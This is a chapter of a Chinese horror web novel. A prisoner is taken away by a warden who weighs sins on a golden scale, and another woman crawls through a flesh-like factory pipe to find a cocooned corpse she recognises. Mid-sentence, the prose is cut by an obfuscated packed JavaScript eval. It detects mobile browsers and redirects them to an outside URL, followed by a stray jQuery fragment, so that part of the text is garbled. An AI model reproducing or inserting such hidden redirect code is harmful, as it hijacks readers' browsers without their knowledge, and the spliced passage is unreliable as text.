舟凝安好奇过被带离监狱的人会去哪,又做了什么,也许是离开了监狱,又或许,恢复了自由。
但那些人没有回来,是铁板钉钉的事实。
高风险意味着高回报,但她从来不是一个勇于承担风险的人,舟凝安总是在想,再等等,等所有的事情安定下来,等到自己的罪名彻底被定下来,等自己离开监狱。
真的坐上那辆车的时候,舟凝安只觉得恐惧。
她会去往哪里,这辆摇摇摆摆的车又会去往何方。
“你能和我说说,你在这么肮脏的监狱中,是如何和自己的狱友,发展出一段美妙的感情呢?”
想一出是一出的典狱长坐在车头,口吻满是赞美,看着舟凝安的眼神像是看着珍惜货物。
舟凝安抬起眼,嘴唇抿成一字。
典狱长也没指望对方说话,他问:“昨晚睡的不好么,怎么眼底一片乌青?”
说来也怪,她一向不认床,监狱的生活枯燥无味,舟凝安几乎变成了一个设定好程序的机械。
在这样紧绷的环境下,她难以入睡,大多时候都是看着漆黑的场景,听着自己的心跳声,可昨日,她居然陷入了睡眠。
不过梦境中一片黑沉,是不舒服的噩梦,有人不停的推着她,跟她说:“下去,这是我的床。”
力度很大,舟凝安醒过来的时候,就看见自己半个身子就在床边,再挪动一点,她就会摔下去。
而声音的主人,她也很熟悉,就是舒楠。
舟凝安听说过这种梦,睡了死人的床,会被死人推醒,但舒楠明显书活人,难道说自己最近真的太累,才会做这种梦?
此时舒楠正在她的对面,不知道是不是她的错觉,那张脸看着有些惨白没有血色,胸腔也没有起伏,像是死去多时。
似乎是察觉到视线,那双眼缓缓望过来,舟凝安立刻收回自己的视线。
不着调的典狱长拿着他那杆只有巴掌大小、却分外精细的秤,随着车的运行,极轻的晃动着。
金子特有的光泽在晦暗的环境中充满了朦胧感,他对着舟凝安提起秤,两方分别对准舟凝安和自己。
空无一物的秤像是被放上了什么东西一样,对着舟凝安的方向迅速坠落下去,上下起伏两下后,彻底不动了。
“哇哦,你看起来,杀死不少人,这么沉重罪恶的灵魂,也会向往感情吗,真是稀奇呢。”
他又把秤转向其他人,毫无意外的,那把秤重重的垂落在对方恐惧和茫然交织的脸上。
“让我猜猜,你们是不是在想,太奇怪了,这把秤明明没有东西,怎么会落下呢?”
典狱长笑容甜蜜极了,“这当然不是用来秤重量的,这可是用来秤罪恶的。”
秤的角色再次对调,这一次,不是典狱长和其他人,而是每两个不同人之间的对比。
“信一把秤可以秤出罪恶,你不如相信风灵会会拯救世界。”
典狱长大概没被人这么直接地呛声过,他终于愿意垂下那个高高在上的脑袋,看了一眼反驳自己话的人。
那是个看着有些瘦小的女性,典狱长撑着头,话语温和的可以滴出水来,“你的意思是说,我脑子有病吗?”
苏文文冷嗤一声,即使蜷缩在角落中,看起来像是刚哭过不久的样子,话语依旧铿锵有力,“这不是显而易见的事情吗?”
舟凝安肃然起敬。
带着金丝眼睛的男人没说话,他眼底是浓浓的趣味,半晌他问:“你们安全区的人来到这里,只为了骂我一顿吗?”
苏文文:“我不知道什么安全区。”
“不知道当然最好,既然来了,就别想轻易离开。”他笑容灿烂,“毕竟,这可是我为你们准备,你们看见之后,定然会喜不胜收,尖叫连连。”
*
步眠跟随着这个场景一直走,看见舟凝安被带走,她想要喊出些什么,声音却像是被蒙在塑料袋中模糊不清,落在耳中难以听清,索性闭上嘴巴。
跟在监狱门口时,她终于再难寸进,心里止不住的焦躁起来。
一定有什么事情是自己不知道的,才会这么受限于人。
田地中的怪物已经开始采摘人脸果实,步眠跟随着那些动作去做着采摘的动作,只是这一次,她只是做出了动作,篮子却空空如也。
去往食堂后,收集的怪物看着步眠篮子弯下,却没有任何东西落下,果不其然生气了,声音低低刺耳。
步眠甚至知道对方为什么生气,那些怪物只是看起来很可怕,却很少动手;会因为东西不足够生气,又会莫名其妙为了保护同伴,将自己采集到的东西给予其它怪物。
它说的语言步眠听不懂,但能从它的语气中知道,那一定不是什么好话。
四周的怪物像是自己被训斥了一样,低着头,甚至还有一些瘦弱的怪物在尝试将自己的人脸果实塞进步眠的篮子中。
采集的怪物拒绝了,它抓住了步眠,动作凶狠,拖着她从长长的道路上离开,必须要努力抬起步伐才能跟上。
不仅有她,还有那些被牵连的同序号怪物,它们保持着高度统一的动作开始采摘。
加班时,步眠表演了一场无用功,卖力的采摘着那些人脸果实,在它验收时,依旧交出了空荡荡的篮子。
如果怪物没有防护服,拥有情绪,它应当会拉下一张长长的脸,然后目不转睛的看着步眠。
她想过很多次,这几天能够活动的范围只有食堂、田地与睡觉的地方,只有一条道路是她没有去过的,那就是在食堂的背后,也是人脸果实去往何处的地方。
不出意外,这里对应的应当是自己踮起脚尖曾经看见的加工厂,也是自己在监狱时不能进去的地方,两相比较,这才是最可能是通道的地方。
同样也是最危险的地方,毕竟如果背后真的是加工厂,自己和人脸果实一样进入,又会遭遇什么。
设想一下,人脸果实会顺着管道一路往下,直到走到监狱的尽头,囚犯不能够踏足的地方——直到它们会被送到监狱主人的手中。
老实说步眠并没有太大的把握,伸头一刀缩头一刀,有别人决定落刀的时间,还不如步眠自己把头伸出去,让那把刀砍在自己的脖子上。
这一次的惩罚不再是加班,而是成为养料,正合步眠的意。
“再见了,魇中世界。”她笑眯眯的挥手,在怪物空洞的目光中,一下子跳入其中。
现实世界中加工厂是铁质厚厚的管道,敲击的时候应当会有巨大清脆震撼的声响,可在怪物世界中,那像是人类的肠子,温热黏稠滚烫,步眠进去后,它像是被惊动了一样,很轻地弹了一下,收缩后又放松。
里面像是绒毛的物质,踩在脚底的地面发软,像是一块黏腻失去湿度的黏稠物体。
她突然有点感谢自己身上的防护服,至少不会让自己闻到那些令人不悦的味道。
里面很黑,伸手不见五指,步眠只能摩挲着向前,好在长期戴着眼罩处理劳务室的软体怪物,对黑暗的感知更强。
她并没有在第一时间失去方向感,因为看不见,四周的动静就变得格外清晰,甚至可以感觉到手底下物体轻缓的挪动声。
手放上去的一瞬间,像是条件反射一样,地下那片有些厚的软体痉挛。
步眠握紧手上的刀,缓慢的在狭窄的地方匍匐向前。
终于,她看见了一抹光亮,也借机看清了四周的场景。
被采摘过后的人脸果实就那么躺在地上,没有一颗果实保持着自己本来的样貌,大部分都被黏稠奇怪的液体腐蚀的残缺不堪,有的只剩下一些难以被分解的头发。
有的人脸果实的眼睛落在地上,也有鼻子和嘴巴,它们的瞳孔放的极大,几乎占据了整个圆形。
不知是不是步眠的错觉,它们正在直勾勾的向上面看去。
但上面什么都没有,像是毛细血管那样的组织环绕,有粗有细,粗的地方黏稠在一起,光亮不均,而步眠所见的那些光,就是从它们密密
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478731|169863||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
麻麻的缝隙中透露出来的。
上面代表着生的希望吗?不见得。
因为那间机械的房间上面只有一盏炙热的白炽灯,如果换一个视角,那些怪物会在被装进暗无天日的地方,伸直了脖子,向上面的光亮看过去吗?
她来监狱这么久,一直以来都没有搞清楚一件事,那就是监狱这些人,到底将劳务室的东西送到了什么地方,又用来做了什么。
更何况,步眠从来没有在现实世界地方看见过那些怪物,而兰微渺那些人像是十分熟练,甚至还拥有等级划分,不论怎么看,都像是一个运行有一段时间的机构。
有些事情不能够细想,一旦开始认真的思考,就会发现,自己对于这个世界,一无所知。
但现在不是思考这些的时候,那些毛绒状硕大的血管上凝结着不知名的粘液,它们像是被接住的雨滴,在上面不停地聚集,直到坚持不住了,才啪嗒一声落下。
液体浑浊的像是不知道混杂着多少东西,而原本在步眠面前还算是完整的一颗人脸果实,发出了像是在油锅上被烤的滋啦声。
人脸果是被硕大的液体包裹住的刹那,顷刻间变的面目全非,如同被老鼠啃咬过一样凹凸不平。
液体包裹住一个人脸果实还不够,正在慢慢的落下,往别的地方入侵。
步眠压根不敢让那些液体接触到自己的防护服,只能躲开那些粘液可能会落下的地方,一边警惕的盯着上面。
但很快,她就发现了不对。
因为面前并不是堆积起来的人脸果实,而是一个小土包。
她可太熟悉这些小土包了,在那些魇中的宿舍里面,那个监工住的也是这样的一个小土包。
但是不一样的是,这是被那些毛细血管包裹住,紧密的包裹的,从大小和形状上来看,是一个骨架瘦小、身材高挑的女性。
但这委实不是什么好事情。
因为她在四周,又找到了那些歪歪扭扭的字迹,和她在地下室看见的一样。
【若你变成琥珀,我愿为无尽的土地,埋藏你的喜怒哀乐,轻柔的接住你。】
【敬爱的世界,我如游鱼穿梭,落下的眼泪终于成了绕不尽的丝线,我终于死在了我最爱的琥珀中。】
这是什么意思?这里对应的应该是监狱的那些加工厂,为什么会出现地下室的东西,是因为魇的错乱,还是真的有人死在加工厂?
四周的空气都变得十分稀薄,她穿着防护服,在闷热的环境中大脑恍惚。
但她在监狱中,唯一感觉到的体温只有冷,即使身上裹得再厚,也可以感觉到那些干冷的空气透过布料刺入肌肤的冷感,这还是第一次,感受到燥热。
步眠死死地握着刀柄,一下又一下,迅速地斩断了那些黏在一起的组织系统。
很难形容它们在刀上被砍断的感觉,不像是刺进血肉的柔软回弹感受,也不像是可以轻易切开的纸张,反倒像是失水过多的史莱姆,透露出一种干巴的感受,失去韧性在拉扯到极限的时候,就会咔哒一下,从刀的最顶峰,彻底断裂开。
她这个人向来脑子清楚,如果有人想装神弄鬼用恐惧吓退谁,那就别怪她把对方身上伪装的布料撕扯下来,让它露出本来的面目。
随着步眠的动作加速,里面那些丝线包裹的东西也慢慢显现出来。
被包裹的是一个人形生物,步眠可以看见她身上的生理起伏,肩膀并不宽,骨盆部分偏大,是位女性。
像是蜘蛛丝一样的东西彼此交错,紧紧贴着,像是表皮贴着人肌肤一样,随着面容、身体的起伏密不透风。
步眠深吸口气,走到这里,她大脑冷静的可怕,她伸出手,缓慢的撕扯出那些紧密相连的表皮,露出其中斑驳的面容。
怎么会是她?
损毁并不严重,至少还保留了对方的特征,看起来是刚进来没多久的女性,但就是这样,步眠才觉得恐怖。
因为步眠见过这个尸体的主人,就在几天前的监狱中。